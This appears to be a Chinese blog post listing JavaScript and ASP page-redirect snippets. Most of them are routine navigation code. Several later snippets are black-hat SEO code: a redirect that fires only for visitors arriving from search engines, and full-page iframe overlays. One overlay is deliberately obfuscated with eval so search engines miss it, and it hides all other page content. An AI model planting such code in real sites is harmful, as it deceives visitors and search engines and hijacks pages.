js页面跳转大全

所谓的js页面跳转就是利用javesrcipt对打开的页面ULR进行跳转,如我们打开的是A页面,通过javsrcipt脚本就会跳转到B页面。最近项目需要用到页面跳转,但是感觉方法太多有点混淆,所以学习一波。分享给大家,借鉴http://www.mahaixiang.cn/js/813.html

  • 常规的JS页面跳转代码
  1. 在原来的窗体中直接跳转用
<script type="text/javascript">
  window.location.href="你所要跳转的页面";
</script>
  1. 在新窗体中打开页面用
<script type="text/javascript">
  window.open('你所要跳转的页面');
</script>
  1. JS页面跳转参数的注解
<script type="text/javascript">
	window.open ('page.html', 'newwindow', 'height=100, width=400, top=0,left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no')
</script>
  • 跳转指定页面的JS代码
  1. 第一种
<script type="text/javascript">
  window.location.href="login.jsp?backurl="+window.location.href;
</script>
  1. 第二种
<script language="javascript">
  alert("返回");
  window.history.back(-1);  
</script>
  1. 第三种
<script language="javascript">
  window.navigate("top.jsp");  
</script>
  1. 第4种:
<script language="JavaScript">  
  self.location=’top.htm’;  
 </script>
  1. 第5种:
<script language="javascript">  
  alert("非法访问!");  
  top.location=’xx.jsp’;  
</script>
  • 页面停留指定时间再跳转(如3秒)
<script type="text/javascript">
  function jumurl(){
  window.location.href = 'http://www.mahaixiang.cn/';
  }
  setTimeout(jumurl,3000);
</script>
  • 根据访客来源跳转的JS代码
  1. JS判断来路代码
    此段代码主要用于百度谷歌点击进入跳转,直接打开网站不跳转:
<script LANGUAGE="Javascript">
  var s=document.referrer
  if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 )
  location.href="http://www.mahaixiang.cn/";
 </script>
  1. JS直接跳转代码
<script LANGUAGE="Javascript">
  location.href="http://www.mahaixiang.cn/";
</script>
  1. ASP跳转代码判断来路
<%
  if instr(Request.ServerVariables("http_referer"),"www.baidu.com")>0 then
  response.redirect("http://www.mahaixiang.cn/")
  end if
%>
  1. ASP直接跳转的
<%
  response.redirect("http://www.mahaixiang.cn/")
%>
  • 广告与网站页面一起的JS代码
  1. 上面是广告下面是站群的代码
document.writeln("<iframe scrolling='no' frameborder='0' marginheight='0' marginwidth='0' width='100%' height='5000' allowTransparency src=http://www.mahaixiang.cn/></iframe>");
  1. 全部覆盖的代码
document.write("</iframe><iframe src='http://www.mahaixiang.cn/' rel='nofollow' scrolling='no' frameborder='0' width='100%' height='2000'>");
  1. 混淆防止搜索引擎被查的js调用
    具体的展示上面是广告下面是站群的代码:
var ss = '<center id="showcloneshengxiaon"><ifr'+'ame scrolling="no" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14'+'00" height="63'+'50" src="ht'+'tp://'+'ww'+'w.hx'+'zhan'+'qun.c'+'om/"></iframe></center>';
  eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');"); 
  try{
   setInterval(function(){
   try{
   document.getElementById("div"+"All").style.display="no"+"ne";
   }catch(e){}
   for(var i=0;i<document.body.children.length;i++){
try{
var tagname = document.body.children[i].tagName;
var myid = document.body.children[i].id;
if(myid!="iconDiv1" && myid!="showcloneshengxiaon"){
// if(tagname!="center"){
document.body.children[i].style.display="non"+"e";
//}
}
}catch(e){}
   }
   },100);
  }catch(e){}
  • 页面跳出框架
<script type="text/javascript">
  top.location.href='http://www.mahaixiang.cn/';
</script>
  • 返回上一页
<script type="text/javascript">
  window.history.back(-1);
</script>
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值